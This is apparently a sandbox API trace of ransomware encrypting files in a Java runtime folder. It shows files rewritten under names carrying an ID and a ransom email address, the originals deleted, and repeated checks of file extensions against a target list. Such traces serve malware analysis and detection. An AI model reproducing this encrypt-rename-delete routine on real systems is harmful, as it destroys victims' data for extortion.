	[0141.651] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0141.653] GetLastError () returned 0x0
	[0141.653] ReadFile (in: hFile=0x428, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2de78, lpOverlapped=0x0) returned 1
	[0141.676] WriteFile (in: hFile=0x498, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2de80, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2de80, lpOverlapped=0x0) returned 1
	[0141.681] ReadFile (in: hFile=0x428, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0141.681] WriteFile (in: hFile=0x498, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0141.681] SetEndOfFile (hFile=0x498) returned 1
	[0141.682] CloseHandle (hObject=0x498) returned 1
	[0141.682] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.682] SetEndOfFile (hFile=0x428) returned 1
	[0141.688] CloseHandle (hObject=0x428) returned 1
	[0141.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0141.689] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 1
	[0141.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0141.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0141.690] lstrlenW (lpString=".doc") returned 4
	[0141.690] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0141.690] lstrlenW (lpString=".docx") returned 5
	[0141.690] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1
	[0141.690] lstrlenW (lpString=".pdf") returned 4
	[0141.690] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0141.690] lstrlenW (lpString=".xls") returned 4
	[0141.690] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0141.690] lstrlenW (lpString=".xlsx") returned 5
	[0141.690] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1
	[0141.690] lstrlenW (lpString=".ppt") returned 4
	[0141.690] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0141.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0141.690] lstrlenW (lpString=".zip") returned 4
	[0141.690] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0141.691] lstrlenW (lpString=".rar") returned 4
	[0141.691] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0141.691] lstrlenW (lpString=".bz2") returned 4
	[0141.691] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0141.691] lstrlenW (lpString=".7z") returned 3
	[0141.691] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0141.691] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0141.691] lstrlenW (lpString=".dbf") returned 4
	[0141.691] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0141.691] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0141.691] lstrlenW (lpString=".1cd") returned 4
	[0141.691] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0141.691] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0141.691] lstrlenW (lpString=".jpg") returned 4
	[0141.691] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0141.691] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0141.692] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0141.692] lstrlenW (lpString=".doc") returned 4
	[0141.692] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0141.692] lstrlenW (lpString=".docx") returned 5
	[0141.692] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1
	[0141.692] lstrlenW (lpString=".pdf") returned 4
	[0141.692] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0141.692] lstrlenW (lpString=".xls") returned 4
	[0141.692] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0141.692] lstrlenW (lpString=".xlsx") returned 5
	[0141.692] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1
	[0141.692] lstrlenW (lpString=".ppt") returned 4
	[0141.692] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0141.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0141.824] lstrlenW (lpString=".zip") returned 4
	[0141.824] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0141.824] lstrlenW (lpString=".rar") returned 4
	[0141.824] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0141.824] lstrlenW (lpString=".bz2") returned 4
	[0141.824] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0141.824] lstrlenW (lpString=".7z") returned 3
	[0141.824] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0141.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0141.824] lstrlenW (lpString=".dbf") returned 4
	[0141.824] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0141.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0141.824] lstrlenW (lpString=".1cd") returned 4
	[0141.824] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0141.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0141.824] lstrlenW (lpString=".jpg") returned 4
	[0141.824] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0141.824] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0141.825] lstrlenW (lpString="nashorn.jar") returned 11
	[0141.825] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0141.888] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=2022734) returned 1
	[0141.888] CloseHandle (hObject=0x4a0) returned 1
	[0141.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0x20
	[0142.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0142.476] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0143.642] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0143.642] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0143.642] lstrlenW (lpString=".doc") returned 4
	[0143.642] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0143.642] lstrlenW (lpString=".docx") returned 5
	[0143.642] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1
	[0143.642] lstrlenW (lpString=".pdf") returned 4
	[0143.642] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0143.642] lstrlenW (lpString=".xls") returned 4
	[0143.642] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0143.642] lstrlenW (lpString=".xlsx") returned 5
	[0143.642] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1
	[0143.642] lstrlenW (lpString=".ppt") returned 4
	[0143.642] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0143.642] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0143.642] lstrlenW (lpString=".zip") returned 4
	[0143.642] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0143.642] lstrlenW (lpString=".rar") returned 4
	[0143.642] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0143.642] lstrlenW (lpString=".bz2") returned 4
	[0143.643] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0143.643] lstrlenW (lpString=".7z") returned 3
	[0143.643] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0143.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0143.643] lstrlenW (lpString=".dbf") returned 4
	[0143.643] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0143.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0143.643] lstrlenW (lpString=".1cd") returned 4
	[0143.643] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0143.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0143.643] lstrlenW (lpString=".jpg") returned 4
	[0143.643] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0143.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0143.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0143.643] lstrlenW (lpString=".doc") returned 4
	[0143.643] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0143.643] lstrlenW (lpString=".docx") returned 5
	[0143.643] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1
	[0143.643] lstrlenW (lpString=".pdf") returned 4
	[0143.644] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0143.644] lstrlenW (lpString=".xls") returned 4
	[0143.644] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0143.644] lstrlenW (lpString=".xlsx") returned 5
	[0143.644] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1
	[0143.644] lstrlenW (lpString=".ppt") returned 4
	[0143.644] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0143.644] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0143.644] lstrlenW (lpString=".zip") returned 4
	[0143.644] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0143.644] lstrlenW (lpString=".rar") returned 4
	[0143.644] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0143.644] lstrlenW (lpString=".bz2") returned 4
	[0143.644] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0143.644] lstrlenW (lpString=".7z") returned 3
	[0143.644] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0143.644] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0143.644] lstrlenW (lpString=".dbf") returned 4
	[0143.644] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0143.644] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0143.644] lstrlenW (lpString=".1cd") returned 4
	[0143.644] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0143.645] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0143.645] lstrlenW (lpString=".jpg") returned 4
	[0143.645] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0143.645] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0143.645] lstrlenW (lpString="zipfs.jar") returned 9
	[0143.645] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0143.646] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=68924) returned 1
	[0143.646] CloseHandle (hObject=0x4cc) returned 1
	[0143.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 0x20
	[0143.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0143.646] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0143.647] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0143.647] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0143.647] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0143.651] GetLastError () returned 0x0
	[0143.651] ReadFile (in: hFile=0x4cc, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x10d3c, lpOverlapped=0x0) returned 1
	[0143.658] WriteFile (in: hFile=0x4d0, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x10d40, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x10d40, lpOverlapped=0x0) returned 1
	[0143.661] ReadFile (in: hFile=0x4cc, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0143.661] WriteFile (in: hFile=0x4d0, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0143.661] SetEndOfFile (hFile=0x4d0) returned 1
	[0143.661] CloseHandle (hObject=0x4d0) returned 1
	[0143.661] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0143.661] SetEndOfFile (hFile=0x4cc) returned 1
	[0143.667] CloseHandle (hObject=0x4cc) returned 1
	[0143.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0143.667] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 1
	[0143.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0143.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0143.668] lstrlenW (lpString=".doc") returned 4
	[0143.668] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0143.669] lstrlenW (lpString=".docx") returned 5
	[0143.669] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0143.669] lstrlenW (lpString=".pdf") returned 4
	[0143.669] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0143.669] lstrlenW (lpString=".xls") returned 4
	[0143.669] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0143.669] lstrlenW (lpString=".xlsx") returned 5
	[0143.669] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0143.669] lstrlenW (lpString=".ppt") returned 4
	[0143.669] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0143.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0143.669] lstrlenW (lpString=".zip") returned 4
	[0143.669] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0143.669] lstrlenW (lpString=".rar") returned 4
	[0143.669] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0143.669] lstrlenW (lpString=".bz2") returned 4
	[0143.669] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0143.669] lstrlenW (lpString=".7z") returned 3
	[0143.669] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0143.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0143.669] lstrlenW (lpString=".dbf") returned 4
	[0143.669] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0143.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0143.670] lstrlenW (lpString=".1cd") returned 4
	[0143.670] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0143.670] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0143.670] lstrlenW (lpString=".jpg") returned 4
	[0143.670] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0143.670] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0143.670] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0143.670] lstrlenW (lpString=".doc") returned 4
	[0143.670] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0143.670] lstrlenW (lpString=".docx") returned 5
	[0143.670] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0143.670] lstrlenW (lpString=".pdf") returned 4
	[0143.670] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0143.670] lstrlenW (lpString=".xls") returned 4
	[0143.670] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0143.670] lstrlenW (lpString=".xlsx") returned 5
	[0143.670] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0143.670] lstrlenW (lpString=".ppt") returned 4
	[0143.670] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0143.670] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0143.670] lstrlenW (lpString=".zip") returned 4
	[0143.670] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0143.671] lstrlenW (lpString=".rar") returned 4
	[0143.671] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0143.671] lstrlenW (lpString=".bz2") returned 4
	[0143.671] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0143.671] lstrlenW (lpString=".7z") returned 3
	[0143.671] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0143.671] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0143.671] lstrlenW (lpString=".dbf") returned 4
	[0143.671] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0143.671] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0143.671] lstrlenW (lpString=".1cd") returned 4
	[0143.671] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0143.671] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0143.671] lstrlenW (lpString=".jpg") returned 4
	[0143.671] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0143.671] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0143.671] lstrlenW (lpString="flavormap.properties") returned 20
	[0143.671] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0143.672] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=3928) returned 1
	[0143.672] CloseHandle (hObject=0x4cc) returned 1
	[0143.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 0x20
	[0143.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0144.039] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0144.589] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.589] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.589] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0144.593] GetLastError () returned 0x0
	[0144.593] ReadFile (in: hFile=0x518, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0xf58, lpOverlapped=0x0) returned 1
	[0144.596] WriteFile (in: hFile=0x52c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xf60, lpOverlapped=0x0) returned 1
	[0144.597] ReadFile (in: hFile=0x518, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0144.597] WriteFile (in: hFile=0x52c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0144.597] SetEndOfFile (hFile=0x52c) returned 1
	[0144.597] CloseHandle (hObject=0x52c) returned 1
	[0144.598] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.598] SetEndOfFile (hFile=0x518) returned 1
	[0144.601] CloseHandle (hObject=0x518) returned 1
	[0144.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0144.601] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 1
	[0144.602] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0144.602] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0144.602] lstrlenW (lpString=".doc") returned 4
	[0144.602] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0144.602] lstrlenW (lpString=".docx") returned 5
	[0144.602] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0144.602] lstrlenW (lpString=".pdf") returned 4
	[0144.602] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0144.602] lstrlenW (lpString=".xls") returned 4
	[0144.602] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0144.602] lstrlenW (lpString=".xlsx") returned 5
	[0144.602] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0144.602] lstrlenW (lpString=".ppt") returned 4
